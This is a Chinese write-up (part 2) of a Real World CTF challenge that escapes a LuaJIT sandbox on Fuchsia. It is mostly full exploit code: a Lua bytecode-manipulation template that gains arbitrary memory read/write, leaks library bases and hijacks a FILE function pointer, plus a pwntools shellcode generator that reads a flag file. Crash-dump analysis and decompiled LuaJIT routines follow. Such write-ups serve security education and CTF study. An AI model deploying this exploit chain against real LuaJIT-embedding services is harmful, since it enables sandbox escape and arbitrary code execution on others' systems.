rwctf frawler: luajit与fuchsia的硬核玩法(writeup) (2)

Anciety / 2018-12-12 17:30:00 / 浏览数 2902 技术文章 技术文章 顶(0) 踩(0)

Frawler(2)

上一篇我们主要分析了现成的luajit沙箱逃逸exp为什么不能直接使用，过程中我们弄明白了luajit的原理了，这下对我们在zircon内进行分析就有一定好处了，因为在zircon

虽然没有调试器，但是在fuchsia内如果触发了setfault是会有dump信息显示在fuchsia boot
console里的，这也是为什么我们具有没有调试器也可以把exp调出来的可能。

在这一部分我首先讲述一下我按照@david492j的思路，以及参考他的exp完成我的exp的过程，最后再来分析为什么在linux里调试成功的luajit沙箱逃逸代码在fuchsia里没

david的思路

这里再次感谢@david492j不吝啬与我这样的菜鸡分享思路。。

精准猜测

按照他的说法，由于之前"PANIC"的信息（在上一篇中已经分析了为什么会出现这样的信息），他们以为在fuchsia内jit是不能直接使用的。这么看他们应该是直接在fuchsia

不过这非常巧妙的让他们绕过了一个大坑。。因为事实上我们上一篇中调好的luajit沙箱逃逸代码并不能使用，具体原因我在后文会尝试去分析。

大佬的思路

按照他们的思路，在原exp中虽然不能直接使用，但是其中的任意地址读写（其实后来调试发现是4字节范围内）和任意地址调用是可以使用的，我分开测试也发现了这一点

所以他们采用了直接利用任意读写和泄露去完成利用。

回想一下我们在fuchsia内和linux利用上的几点不同：

1. 无法调试（这一点可以通过查看崩溃时的dump日志来解决）
2. 无法直接进行系统调用

其他部分似乎差距并不大，所以思路上也没有太大差距：

1. 泄露text_base
2. 有了text_base配合任意读写可以泄露libc(ld.so.1，在fuchsia内与libc为同一个文件）
3. 之后有任意地址调用，可以调用mprotect之后再跳到shellcode。

但是第3点就需要有连续两次能控制的跳转，第一次跳转到mprotect，第二次跳转到shellcode。由于目标代码有luajit，mprotect并不是一个很大的问题，我们可以直接复

这里就不得不佩服大佬的思路了。回想一下哪里的函数指针最多？当然是`FILE`结构体啦，于是在`FILE`相关的函数附近，大佬使用了`fflush`，我自己也找了一下，还发现了

```
__int64 __fastcall sub_32E50(int64_t *a1, __int64 a2, unsigned int a3)
{
 __int64 v3; // r13
 unsigned int v4; // er12
 __int64 result; // rax

 v3 = a2;
 v4 = a3;
 if ( a3 == 1 )
   v3 = a2 - (a1[2] - a1[1]);
 if ( a1[5] > (unsigned __int64)a1[7] )
 {
   ((void (__fastcall *)(int64_t *, _QWORD, _QWORD))a1[9])(a1, 0LL, 0LL); // <-- ■■■
   if ( !a1[5] )
     return 0xFFFFFFFFLL;
 }
 a1[4] = 0LL;
 a1[7] = 0LL;
 a1[5] = 0LL;
 if ( ((__int64 (__fastcall *)(int64_t *, __int64, _QWORD))a1[10])(a1, v3, v4) < 0 ) // <-- ■■■
   return 0xFFFFFFFFLL;
 *(_DWORD *)a1 &= 0xFFFFFFEF;
 result = 0LL;
```

```
 a1[2] = 0LL;
 a1[1] = 0LL;
 return result;
}
```

然后参数上，第一个参数，在这里是`FILE`结构体指针，而在任意跳转的时候第一个参数是`lua_State`的指针，好在这个指针的内存是可写的，我们又恰好有任意地址写，所

所以这样的exp巧妙又简洁，还避免了一个大坑。

另外几个细节的解决：

1. 泄露：在原exp中是存在泄露的，采用了一个空字符串去相对找位置，我没有详细阅读这一部分的代码，我估计和python处理比较类似，为了加速字符串可能会把空字符
2. `State`所在地址：这个地址测试后发现不存在aslr，固定地址
3. 关于设置原exp中`fshellcode`指向目标（也就是要调用的目标地址）和`mctab`任意写之间的顺序：这里有个小坑，就是按照原exp的顺序会在中间崩溃掉，我仔细思考了

在解决了这几个细节之后，配合上已经想好的思路就没有太大的难度了。

exploit

create.tpl.lua (生成用于loadstring的字节码，我进行了hex encode，留出shellcode的部分)

```
-- The following function serves as the template for evil.lua.
-- The general outline is to compile this function as-written, dump
-- it to bytecode, manipulate the bytecode a bit, and then save the
-- result as evil.lua.
local evil = function(v)
 -- This is the x86_64 native code which we'll execute. It
 -- is a very benign payload which just prints "Hello World"
 -- and then fixes up some broken state.
 --
 local shellcode =
   {SHELLCODE_TPL}

 -- The dirty work is done by the following "inner" function.
 -- This inner function exists because we require a vararg call
 -- frame on the Lua stack, and for the function associated with
 -- said frame to have certain special upvalues.
 local function inner(...)

   if false then
     -- The following three lines turn into three bytecode
     -- instructions. We munge the bytecode slightly, and then
     -- later reinterpret the instructions as a cdata object,
     -- which will end up being `cdata<const char *>: NULL`.
     -- The `if false` wrapper ensures that the munged bytecode
     -- isn't executed.
     local cdata = -32749
     cdata = 0
     cdata = 0
   end

   -- Through the power of bytecode manipulation, the
   -- following three functions will become (the fast paths of)
   -- string.byte, string.char, and string.sub. This is
   -- possible because LuaJIT has bytecode instructions
   -- corresponding to the fast paths of said functions. Note
   -- that we musn't stray from the fast path (because the
   -- fallback C code won't be wired up). Also note that the
   -- interpreter state will be slightly messed up after
   -- calling one of these functions.
   local function s_byte(s) end
   local function s_char(i, _) end
   local function s_sub(s, i, j) end


   -- The following function does nothing, but calling it will
   -- restore the interpreter state which was messed up following
   -- a call to one of the previous three functions. Because this
   -- function contains a cdata literal, loading it from bytecode
   -- will result in the ffi library being initialised (but not
```

```
-- registered in the global namespace).
local function resync() return 0LL end

-- Helper function to reinterpret the first four bytes of a
-- string as a uint32_t, and return said value as a number.
local function s_uint32(s)
  local result = 0
  for i = 4, 1, -1 do
    result = result * 256 + s_byte(s_sub(s, i, i))
    resync()
  end
  return result
end

-- The following line obtains the address of the GCfuncL
-- object corresponding to "inner". As written, it just fetches
-- the 0th upvalue, and does some arithmetic. After some
-- bytecode manipulation, the 0th upvalue ends up pointing
-- somewhere very interesting: the frame info TValue containing
-- func|FRAME_VARG|delta. Because delta is small, this TValue
-- will end up being a denormalised number, from which we can
-- easily pull out 32 bits to give us the "func" part.
local iaddr = (inner * 2^1022 * 2^52) % 2^32

-- The following five lines read the "pc" field of the GCfuncL
-- we just obtained. This is done by creating a GCstr object
-- overlaying the GCfuncL, and then pulling some bytes out of
-- the string. Bytecode manipulation results in a nice KPRI
-- instruction which preserves the low 32 bits of the istr
-- TValue while changing the high 32 bits to specify that the
-- low 32 bits contain a GCstr*.
local istr = (iaddr - 4) + 2^52
istr = -32764 -- Turned into KPRI(str)
local pc = s_sub(istr, 5, 8)
istr = resync()
pc = s_uint32(pc)
-- The following three lines result in the local variable
-- called "memory" being `cdata<const char *>: NULL`. We can
-- subsequently use this variable to read arbitrary memory
-- (one byte at a time). Note again the KPRI trick to change
-- the high 32 bits of a TValue. In this case, the low 32 bits
-- end up pointing to the bytecode instructions at the top of
-- this function wrapped in `if false`.
local memory = (pc + 8) + 2^52
memory = -32758 -- Turned into KPRI(cdata)
memory = memory + 0

-- Helper function to read a uint32_t from any memory location.
local function m_uint32(offs)
  local result = 0
  for i = offs + 3, offs, -1 do
    result = result * 256 + (memory[i] % 256)
  end
  return result
end

local function m_uint64(offs)
    local result = 0
    for i = offs + 7, offs, -1 do
        result = result * 256 + (memory[i] % 256)
    end
    return result
end

-- Helper function to extract the low 32 bits of a TValue.
-- In particular, for TValues containing a GCobj*, this gives
-- the GCobj* as a uint32_t. Note that the two memory reads
-- here are GCfuncL::uvptr[1] and GCupval::v.
local vaddr = m_uint32(m_uint32(iaddr + 24) + 16)
```

```
local function low32(tv)
  v = tv
  res = m_uint32(vaddr)
  return res
end

-- Helper function which is the inverse of s_uint32: given a
-- 32 bit number, returns a four byte string.
local function ub4(n)
  local result = ""
  for i = 0, 3 do
    local b = n % 256
    n = (n - b) / 256
    result = result .. s_char(b)
    resync()
  end
  return result
end

local function ub8(n)
    local result = ""
    for i = 0, 7 do
        local b = n % 256
        n = (n - b) / 256
        result = result .. s_char(b)
        resync()
    end
    return result
end



local function hexdump_print(addr, len)
    local result = ''
    for i = 0, len - 1 do
        if i % 16 == 0 and i ~= 0 then
            result = result .. '\n'
        end
        result = result .. string.format('%02x', memory[addr + i] % 0x100) .. ' '
    end

    print(result)
end


local function hexdump_tv(tv)
    v = tv
    hexdump_print(vaddr, 8)
end

local text_base = m_uint64(low32("") - 4 + 0x80) - 0x29090
--print('got text_base @ 0x' .. string.format('%x', text_base))
local strlen_got = text_base + 0x74058
local strlen_addr = m_uint64(strlen_got)
--print('strlen got @ 0x' .. string.format('%x', strlen_addr))
local ld_so_base = strlen_addr - 0x59e80
--print('ld_so base @ 0x' .. string.format('%x', ld_so_base))

local nop4k = "\144"
for i = 1, 12 do nop4k = nop4k .. nop4k end
local ashellcode = nop4k .. shellcode .. nop4k
local asaddr = low32(ashellcode) + 16
asaddr = asaddr + 2^12 - (asaddr % 2^12)
--print(asaddr)

-- arbitrary (32 bits range) write
-- form file structure according to function requirements
local rdi = 0x10000378 -- State <-- fixed?!
--local mctab_s = "\0\0\0\0\99\4\0\0".. ub4(rdi)
```

```
    --  .."\0\0\0\0\0\0\0\0\255\255\0\0\255\255\255\255"
    -- move this before arbitrary write
    -- seems this will interfere, because the State has been
    -- manipulated after arbitrary write
    local fshellcode = ub4(low32("") + 132) .."\0\0\0\0"..
      ub8(ld_so_base + 0x32e50)
    fshellcode = -32760 -- Turned into KPRI(func)

    local mctab_s = "\0\0\0\0\99\4\0\0".. ub4(rdi)
      .."\0\0\0\0\0\0\0\0\0\0\0\0\255\255\0\0\255\255\255\255"
    local mctab = low32(mctab_s) + 16 + 2^52
    mctab = -32757 -- Turned into KPRI(table)
    mctab[5] = 0x1 / 2^52 / 2^1022
    mctab[7] = 0 / 2^52 / 2^1022 -- qword ptr [$rdi + 40] > qword ptr [$rdi + 56]
    mctab[9] = (text_base + 0x56ca0) / 2^52 / 2^1022
    --mctab[9] = 0x2200 / 2^52 / 2^1022
    mctab[306] = 0x10008000 / 2^52 / 2^1022
    mctab[309] = 0x10000 / 2^52 / 2^1022
    mctab[10] = asaddr / 2^52 / 2^1022
    --mctab[10] = 0xdeadbeef / 2^52 / 2^1022
    -- The following seven lines result in the memory protection of
    -- the page at asaddr changing from read/write to read/execute.
    -- This is done by setting the jit_State::mcarea and szmcarea
    -- fields to specify the page in question, setting the mctop and
    -- mcbot fields to an empty subrange of said page, and then
    -- triggering some JIT compilation. As a somewhat unfortunate
    -- side-effect, the page at asaddr is added to the jit_State's
    -- linked-list of mcode areas (the shellcode unlinks it).


    --[[
    local mcarea = mctab[1]
    val = asaddr / 2^52 / 2^1022
    mctab[4] = 2^12 / 2^52 / 2^1022
    local wtf = low32("") + 2748
    mctab[3] = val
    mctab[2] = val
    mctab[1] = val
    mctab[0] = val
    hexdump_print(wtf, 32 + 32)
    local i = 0

    while i < 0x1000 do i = i + 1 end
    print(i)
    --]]

    -- The following three lines construct a GCfuncC object
    -- whose lua_CFunction field is set to asaddr. A fixed
    -- offset from the address of the empty string gives us
    -- the global_State::bc_cfunc_int field.
    --local fshellcode = ub4(low32("") + 132) .."\0\0\0\0"..
    --  ub4(asaddr) .."\0\0\0\0"

    fshellcode()
  end
  inner()
end

-- Some helpers for manipulating bytecode:
local ffi = require "ffi"
local bit = require "bit"
local BC = {KSHORT = 41, KPRI = 43}

-- Dump the as-written evil function to bytecode:
local estr = string.dump(evil, true)
local buf = ffi.new("uint8_t[?]", #estr+1, estr)
local p = buf + 5

-- Helper function to read a ULEB128 from p:
```

```
local function read_uleb128()
 local v = p[0]; p = p + 1
 if v >= 128 then
   local sh = 7; v = v - 128
   repeat
     local r = p[0]
     v = v + bit.lshift(bit.band(r, 127), sh)
     sh = sh + 7
     p = p + 1
   until r < 128
 end
 return v
end

-- The dumped bytecode contains several prototypes: one for "evil"
-- itself, and one for every (transitive) inner function. We step
-- through each prototype in turn, and tweak some of them.
while true do
 local len = read_uleb128()
 if len == 0 then break end
 local pend = p + len
 local flags, numparams, framesize, sizeuv = p[0], p[1], p[2], p[3]
 p = p + 4
 read_uleb128()
 read_uleb128()
 local sizebc = read_uleb128()
 local bc = p
 local uv = ffi.cast("uint16_t*", p + sizebc * 4)
 if numparams == 0 and sizeuv == 3 then
   -- This branch picks out the "inner" function.
   -- The first thing we do is change what the 0th upvalue
   -- points at:
   uv[0] = uv[0] + 2
   -- Then we go through and change everything which was written
   -- as "local_variable = -327XX" in the source to instead be
   -- a KPRI instruction:
   for i = 0, sizebc do
     if bc[0] == BC.KSHORT then
       local rd = ffi.cast("int16_t*", bc)[1]
       if rd <= -32749 then
         bc[0] = BC.KPRI
         bc[3] = 0
         if rd == -32749 then
           -- the `cdata = -32749` line in source also tweaks
           -- the two instructions after it:
           bc[4] = 0
           bc[8] = 0
         end
       end
     end
     bc = bc + 4
   end
 elseif sizebc == 1 then
   -- As written, the s_byte, s_char, and s_sub functions each
   -- contain a single "return" instruction. We replace said
   -- instruction with the corresponding fast-function instruction.
   bc[0] = 147 + numparams
   bc[2] = bit.band(1 + numparams, 6)
 end
 p = pend
end


function string.fromhex(str)
   return (str:gsub('..', function (cc)
       return string.char(tonumber(cc, 16))
   end))
end
```

```
function string.tohex(str)
   return (str:gsub('.', function (c)
       return string.format('%02X', string.byte(c))
end))
end

res = string.tohex(ffi.string(buf, #estr))
local f = io.open("../shellcode.hex", "wb")
f:write(ffi.string(res, #res))
f:close()
print(res)
a = loadstring(string.fromhex(res))
print(a())
-- Finally, save the manipulated bytecode as evil.lua:
```

gen_shellcode.py（填入最后执行的shellcode）

```
from pwn import *
context(arch='amd64', os='linux')

shellcode = r'''
sub rsi, 0x2710
mov rax, rsi
mov rbp, rax
add rax, 0x73370
mov rdi, %s
push rdi
mov rdi, %s
push rdi
mov rdi, rsp
push 0
push 114
mov rsi, rsp
call rax
mov rcx, rax
mov rdi, rsp
mov rsi, 100
mov rdx, 100
mov rax, rbp
add rax, 0x733c0
call rax
mov rdi, 1
mov rsi, rsp
mov rdx, 100
mov rax, rbp
add rax, 0x73510
call rax

push 0
ret

'''
print(shellcode)
shellcode = shellcode % (u64('a/flag'.ljust(8, '\x00')), u64('/pkg/dat'))

with open('create.tpl.lua', 'r') as f:
   content = f.read()
   shellcode_hex = repr(asm(shellcode))
   content = content.replace('{SHELLCODE_TPL}', shellcode_hex)
   with open('create.lua', 'w') as f:
       f.write(content)
```

script.lua（实际传入response的lua代码，留出字节码hex部分）

```
function string.fromhex(str)
   return (str:gsub('..', function (cc)
       return string.char(tonumber(cc, 16))
   end))
end
```

```
function string.tohex(str)
   return (str:gsub('.', function (c)
       return string.format('%02X', string.byte(c))
end))
end

shellcode = '{}'

function fdb0cdf28c53764e()
   x = loadstring(string.fromhex(shellcode))
   return tostring(x())
end

print(fdb0cdf28c53764e())
```

request.py和forward.py在上一篇中给出了。

最后的利用：

```
python2 gen_shellcode.py
python2 request.py

[DEBUG] Received 0x1c0 bytes:
   '<head>\n'
   '<title>Error response</title>\n'
   '</head>\n'
   '<body>\n'
   '<h1>Error response</h1>\n'
   '<p>Error code 400.\n'
   "<p>Message: Bad request syntax ('rwctf{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}\\x04\\x00\\x10\\x00\\x00\\x00\\x00\\xb8
   '<p>Error code explanation: 400 = Bad request syntax or unsupported method.\n'
```

一个字节引发的血案

但是到这个时候我就很不爽了。
为啥我好不容易才调好的luajit逃逸用不了啊，这没道理啊，那我们来分析一下为啥用不了。

第一步，先把代码跑起来，看看dump日志。

```
[40698.170] 01045.01203> devmgr: crash_analyzer_listener: analyzing exception type 0x108
[40698.171] 01105.01119> <== fatal exception: process /pkg/bin/frawler[162600] thread initial-thread[162612]
[40698.171] 01105.01119> <== fatal page fault, PC at 0x7a8af11e4b20
[40698.171] 01105.01119>  CS:                   0 RIP:     0x7a8af11e4b20 EFL:              0x246 CR2:              0x8000
[40698.171] 01105.01119>  RAX:             0x8000 RBX:                  0 RCX:                  0 RDX:                  0
[40698.171] 01105.01119>  RSI:                  0 RDI:     0x5746f370eb58 RBP:     0x799649e95ca0 RSP:     0x799649e95c78
[40698.171] 01105.01119>   R8:                  0  R9:                  0 R10:                  0 R11:              0x206
[40698.171] 01105.01119>  R12:     0x5746f370eb58 R13:         0x100003b8 R14:     0x5746f370eb58 R15:                0x1
[40698.171] 01105.01119>  errc:               0x6
[40698.171] 01105.01119> bottom of user stack:
[40698.171] 01105.01119> 0x0000799649e95c78: f11e4acc 00007a8a 10000558 00000000 |.J...z..X.......|
[40698.171] 01105.01119> 0x0000799649e95c88: f370eed0 00005746 00008008 00000000 |..p.FW..........|
[40698.171] 01105.01119> 0x0000799649e95c98: 10000558 00000000 49e95cf0 00007996 |X........\.I.y..|
[40698.171] 01105.01119> 0x0000799649e95ca8: f11c7474 00007a8a a1ad8e1c 9b72fb15 |tt...z........r.|
[40698.171] 01105.01119> 0x0000799649e95cb8: f370eec8 00005746 10000558 00000000 |..p.FW..X.......|
[40698.172] 01105.01119> 0x0000799649e95cc8: 10000558 00000000 f1190868 00007a8a |X.......h....z..|
[40698.172] 01105.01119> 0x0000799649e95cd8: 100003b8 00000000 100003b8 00000000 |................|
[40698.172] 01105.01119> 0x0000799649e95ce8: 10000378 00000000 49e95d30 00007996 |x.......0].I.y..|
[40698.172] 01105.01119> 0x0000799649e95cf8: f11c5e0d 00007a8a 1000d0b8 00000000 |.^...z..........|
[40698.172] 01105.01119> 0x0000799649e95d08: 10000558 00000000 00000018 00000000 |X...............|
[40698.172] 01105.01119> 0x0000799649e95d18: 100003b8 00000000 10000fa8 00000000 |................|
[40698.172] 01105.01119> 0x0000799649e95d28: 49e95e00 00007996 10000378 00000000 |.^.I.y..x.......|
[40698.172] 01105.01119> 0x0000799649e95d38: f11ff4f6 00007a8a 10000fa8 00000000 |.....z..........|
[40698.172] 01105.01119> 0x0000799649e95d48: 49e95e00 00007996 fffffee0 00000000 |.^.I.y..........|
[40698.172] 01105.01119> 0x0000799649e95d58: 10000378 10000378 49e95e00 00007996 |x...x....^.I.y..|
[40698.172] 01105.01119> 0x0000799649e95d68: 10000378 00000000 1000d278 00000000 |x.......x.......|
[40698.172] 01105.01119> arch: x86_64
[40698.184] 01105.01119> dso: id=333103e7c266dfce base=0x7a8af118e000 name=app:/pkg/bin/frawler
[40698.184] 01105.01119> dso: id=8f51b7868dd0d5b9aefede5739518f97f2a580e0 base=0x58f25e8e0000 name=libc.so
[40698.184] 01105.01119> dso: id=89d4eb99573947ac792dd4a5e9e498bd44b4eefe base=0x554a3ca5d000 name=<vDSO>
[40698.184] 01105.01119> dso: id=fa0cdaa5591d31e3 base=0x2f6fae109000 name=libc++.so.2
```

```
[40698.184] 01105.01119> dso: id=86f83b6141c863ad base=0x2d3787750000 name=libunwind.so.1
[40698.184] 01105.01119> dso: id=4b87e913774eb02cb107ae0f1385ddfcb877ba2e base=0xe98beb70000 name=libfdio.so
[40698.184] 01105.01119> dso: id=ecfc9b0e3f0ca03b base=0xaef30a38000 name=libclang_rt.scudo.so
[40698.184] 01105.01119> dso: id=1b59f762cf98d972 base=0x85aca3d3000 name=libc++abi.so.1
[40698.184] 01105.01119> {{{reset}}}
[40698.185] 01105.01119> {{{module:0x21fb5444:<VMO#162635=libc++abi.so.1>:elf:1b59f762cf98d972}}}
[40698.185] 01105.01119> {{{mmap:0x85aca3d3000:0x16000:load:0x21fb5444:r:0}}}
[40698.185] 01105.01119> {{{mmap:0x85aca3e9000:0x24000:load:0x21fb5444:rx:0x16000}}}
[40698.185] 01105.01119> {{{mmap:0x85aca40d000:0x5000:load:0x21fb5444:rw:0x3a000}}}
[40698.185] 01105.01119> {{{module:0x21fb5445:<VMO#162620=libclang_rt.scudo.s:elf:ecfc9b0e3f0ca03b}}}
[40698.185] 01105.01119> {{{mmap:0xaef30a38000:0x8000:load:0x21fb5445:r:0}}}
[40698.185] 01105.01119> {{{mmap:0xaef30a40000:0xa000:load:0x21fb5445:rx:0x8000}}}
[40698.192] 01105.01119> {{{mmap:0xaef30a4a000:0x4000:load:0x21fb5445:rw:0x12000}}}
[40698.192] 01105.01119> {{{module:0x21fb5446:<VMO#162625=libfdio.so>:elf:4b87e913774eb02cb107ae0f1385ddfcb877ba2e}}}
[40698.192] 01105.01119> {{{mmap:0xe98beb70000:0x22000:load:0x21fb5446:rx:0}}}
[40698.192] 01105.01119> {{{mmap:0xe98beb93000:0x4000:load:0x21fb5446:rw:0x23000}}}
[40698.192] 01105.01119> {{{module:0x21fb5447:<VMO#162640=libunwind.so.1>:elf:86f83b6141c863ad}}}
[40698.192] 01105.01119> {{{mmap:0x2d3787750000:0x6000:load:0x21fb5447:r:0}}}
[40698.192] 01105.01119> {{{mmap:0x2d3787756000:0x8000:load:0x21fb5447:rx:0x6000}}}
[40698.192] 01105.01119> {{{mmap:0x2d378775e000:0x3000:load:0x21fb5447:rw:0xe000}}}
[40698.192] 01105.01119> {{{module:0x21fb5448:<VMO#162630=libc++.so.2>:elf:fa0cdaa5591d31e3}}}
[40698.192] 01105.01119> {{{mmap:0x2f6fae109000:0x52000:load:0x21fb5448:r:0}}}
[40698.192] 01105.01119> {{{mmap:0x2f6fae15b000:0x77000:load:0x21fb5448:rx:0x52000}}}
[40698.192] 01105.01119> {{{mmap:0x2f6fae1d2000:0x9000:load:0x21fb5448:rw:0xc9000}}}
[40698.192] 01105.01119> {{{module:0x21fb5449:<VMO#1033=vdso/full>:elf:89d4eb99573947ac792dd4a5e9e498bd44b4eefe}}}
[40698.192] 01105.01119> {{{mmap:0x554a3ca5d000:0x7000:load:0x21fb5449:r:0}}}
[40698.192] 01105.01119> {{{mmap:0x554a3ca64000:0x1000:load:0x21fb5449:rx:0x7000}}}
[40698.192] 01105.01119> {{{module:0x21fb544a:<VMO#162604=ld.so.1>:elf:8f51b7868dd0d5b9aefede5739518f97f2a580e0}}}
[40698.192] 01105.01119> {{{mmap:0x58f25e8e0000:0xcb000:load:0x21fb544a:rx:0}}}
[40698.192] 01105.01119> {{{mmap:0x58f25e9ac000:0x6000:load:0x21fb544a:rw:0xcc000}}}
[40698.192] 01105.01119> {{{module:0x21fb544b:<VMO#162591=/pkg/bin/frawler>:elf:333103e7c266dfce}}}
[40698.192] 01105.01119> {{{mmap:0x7a8af118e000:0x1d000:load:0x21fb544b:r:0}}}
[40698.192] 01105.01119> {{{mmap:0x7a8af11ab000:0x57000:load:0x21fb544b:rx:0x1d000}}}
[40698.192] 01105.01119> {{{mmap:0x7a8af1202000:0x4000:load:0x21fb544b:rw:0x74000}}}
[40698.196] 01105.01119> bt#01: pc 0x7a8af11e4b20 sp 0x799649e95c78 (app:/pkg/bin/frawler,0x56b20)
[40698.196] 01105.01119> bt#02: pc 0x7a8af11e4acc sp 0x799649e95c80 (app:/pkg/bin/frawler,0x56acc)
[40698.197] 01105.01119> bt#03: pc 0x7a8af11c7474 sp 0x799649e95cb0 (app:/pkg/bin/frawler,0x39474)
[40698.198] 01105.01119> bt#04: pc 0x7a8af11c5e0d sp 0x799649e95d00 (app:/pkg/bin/frawler,0x37e0d)
[40698.198] 01105.01119> bt#05: pc 0x7a8af11ff4f6 sp 0x799649e95d40 (app:/pkg/bin/frawler,0x714f6)
[40698.205] 01105.01119> bt#06: pc 0x7a8af11b0547 sp 0x799649e95d90 (app:/pkg/bin/frawler,0x22547)
[40698.209] 01105.01119> bt#07: pc 0x7a8af11b03a5 sp 0x799649e95db0 (app:/pkg/bin/frawler,0x223a5)
[40698.209] 01105.01119> bt#08: pc 0x7a8af1200af1 sp 0x799649e95e00 (app:/pkg/bin/frawler,0x72af1)
[40698.210] 01105.01119> bt#09: pc 0x7a8af11b3218 sp 0x799649e95e50 (app:/pkg/bin/frawler,0x25218)
[40698.210] 01105.01119> bt#10: pc 0x7a8af11f9f49 sp 0x799649e95e90 (app:/pkg/bin/frawler,0x6bf49)
[40698.211] 01105.01119> bt#11: pc 0x7a8af11fa0c6 sp 0x799649e95ec0 (app:/pkg/bin/frawler,0x6c0c6)
[40698.211] 01105.01119> bt#12: pc 0x7a8af11fa270 sp 0x799649e95f10 (app:/pkg/bin/frawler,0x6c270)
[40698.211] 01105.01119> bt#13: pc 0x58f25e8f9c48 sp 0x799649e95f60 (libc.so,0x19c48)
[40698.215] 01105.01119> bt#14: pc 0 sp 0x799649e96000
[40698.215] 01105.01119> bt#15: end
[40698.218] 01105.01119> {{{bt:1:0x7a8af11e4b20}}}
[40698.222] 01105.01119> {{{bt:2:0x7a8af11e4acc}}}
[40698.222] 01105.01119> {{{bt:3:0x7a8af11c7474}}}
[40698.223] 01105.01119> {{{bt:4:0x7a8af11c5e0d}}}
[40698.223] 01105.01119> {{{bt:5:0x7a8af11ff4f6}}}
[40698.224] 01105.01119> {{{bt:6:0x7a8af11b0547}}}
[40698.224] 01105.01119> {{{bt:7:0x7a8af11b03a5}}}
[40698.224] 01105.01119> {{{bt:8:0x7a8af1200af1}}}
[40698.226] 01105.01119> {{{bt:9:0x7a8af11b3218}}}
[40698.226] 01105.01119> {{{bt:10:0x7a8af11f9f49}}}
[40698.227] 01105.01119> {{{bt:11:0x7a8af11fa0c6}}}
[40698.227] 01105.01119> {{{bt:12:0x7a8af11fa270}}}
[40698.228] 01105.01119> {{{bt:13:0x58f25e8f9c48}}}
[40698.229] 01105.01119> {{{bt:14:0}}}
```

根据之前我们调exp的时候，知道aslr的情况来看，非常明显我们没能跳到shellcode执行，死在中间了。

幸运的是dump里给出了bt，所以来跟一下，看看是死在哪儿了。
在这种时候，如果你之前完整跟了上一篇里的luajit代码，并且自己看了一遍，日子就好过多了，毕竟流程上差异不大。

首先是`0x56b20`，直接原因。

```
LOAD:000000000056B1B mov     ecx, esi
LOAD:000000000056B1D shl     ecx, 5
LOAD:000000000056B20 mov     byte ptr [rax], 6Ah ; 'j'
LOAD:000000000056B23 mov     [rax+1], cl
LOAD:000000000056B26 mov     r9d, esi
LOAD:000000000056B29 and     r9d, 7
```

rax目前的值为0x8000，显然放不进去，但是仔细一看这个结构：

```
_BYTE *__fastcall sub_56B00(__int64 a1, unsigned int a2)
{
  _BYTE *result; // rax
  __int64 v3; // r10
  __int64 v4; // r8
  __int64 v5; // rdx
  __int64 v6; // rcx

  result = *(_BYTE **)(a1 + 264);
  if ( (unsigned __int64)(result + 141) >= *(_QWORD *)(a1 + 272) )
    sub_56BF0((_QWORD *)a1);
  *result = 106;
  result[1] = 32 * a2;
  v3 = -17LL;
  v4 = -81LL;
  v5 = 0LL;
  do
  {
    v6 = v5;
    result[4 * v5 + 2] = -21;
    result[4 * v5 + 3] = v3 - 117;
    result[4 * v5 + 4] = 106;
    result[4 * v5 + 5] = ((32 * (a2 & 7)) | 1) + v5;
    ++v5;
```


这不就是上一篇里的asm_exitstub_gen么？但是看起来这个死的位置有点奇怪啊，应该是死在了赋值给mxp的时候了。
回顾一下代码：

```
/* Generate an exit stub group at the bottom of the reserved MCode memory. */
static MCode *asm_exitstub_gen(ASMState *as, ExitNo group)
{
 ExitNo i, groupofs = (group*EXITSTUBS_PER_GROUP) & 0xff;
 MCode *mxp = as->mcbot;
 MCode *mxpstart = mxp;
 if (mxp + (2+2)*EXITSTUBS_PER_GROUP+8+5 >= as->mctop)
   asm_mclimit(as);
 /* Push low byte of exitno for each exit stub. */
 *mxp++ = XI_PUSHi8; *mxp++ = (MCode)groupofs; // [redacted]
 for (i = 1; i < EXITSTUBS_PER_GROUP; i++) {
   *mxp++ = XI_JMPs; *mxp++ = (MCode)((2+2)*(EXITSTUBS_PER_GROUP - i) - 2);
   *mxp++ = XI_PUSHi8; *mxp++ = (MCode)(groupofs + i);
 }
 /* Push the high byte of the exitno for each exit stub group. */
 *mxp++ = XI_PUSHi8; *mxp++ = (MCode)((group*EXITSTUBS_PER_GROUP)>>8);
 /* Store DISPATCH at original stack slot 0. Account for the two push ops. */
 *mxp++ = XI_MOVmi;
 *mxp++ = MODRM(XM_OFS8, 0, RID_ESP);
 *mxp++ = MODRM(XM_SCALE1, RID_ESP, RID_ESP);
 *mxp++ = 2*sizeof(void *);
 *(int32_t *)mxp = ptr2addr(J2GG(as->J)->dispatch); mxp += 4;
 /* Jump to exit handler which fills in the ExitState. */
```

```
 *mxp++ = XI_JMP; mxp += 4;
 *((int32_t *)(mxp-4)) = jmprel(mxp, (MCode *)(void *)lj_vm_exit_handler);
 /* Commit the code for this group (even if assembly fails later on). */
 lj_mcode_commitbot(as->J, mxp);
 as->mcbot = mxp;
 as->mclim = as->mcbot + MCLIM_REDZONE;
 return mxpstart;
}
```

再对比一下寄存器值，这里mxp其实是`mcbot`，但是这里的值是0x8000，0x8000按理说是我设置的`mctab[3]`，也就是`szmcarea`的值吧？

回顾一下结构：

```
mcprot = 0x0,
 mcarea = 0x1234 <error: Cannot access memory at address 0x1234>,
 mctop = 0x4321 <error: Cannot access memory at address 0x4321>,
 mcbot = 0xdead <error: Cannot access memory at address 0xdead>,
 szmcarea = 0xbeef,
 szallmcarea = 0x1000,
```

那么这里岂不是，错了个位？回想一下最开始的exp，好像这里就是错了个位啊.

为了保证我们的判断没有错，我们再魔改一下看看。

```
local mcarea = mctab[1]
   mctab[0] = 0x1234/ 2^52 / 2^1022
   mctab[1] = 0x4321/ 2^52 / 2^1022
   mctab[2] = 0xdead / 2^52 / 2^1022
   mctab[3] = asaddr / 2^52 / 2^1022
   mctab[4] = 2^12 / 2^52 / 2^1022
   --while mctab[0] == 0 do end
   local i = 1
   while i < 0x1000000 do
       i = i + 1
       --print(i)
   end
```

崩溃位置在`0x2bd70`，此时`rdi`为`0x4321。

和源码对比之后是可以确认这个函数的：

```
__int64 __fastcall lj_mcode_free(__int64 a1)
{
 __int64 result; // rax
 _QWORD *v2; // rdi
 _QWORD *v3; // rbx

 result = a1;
 v2 = *(_QWORD **)(a1 + 2448);
 *(_QWORD *)(result + 2448) = 0LL;
 *(_QWORD *)(result + 2480) = 0LL;
 if ( v2 )
 {
   do
   {
```

```
      v3 = (_QWORD *)*v2;
      result = mcode_free(v2, v2[1]);
      v2 = v3;
    }
    while ( v3 );
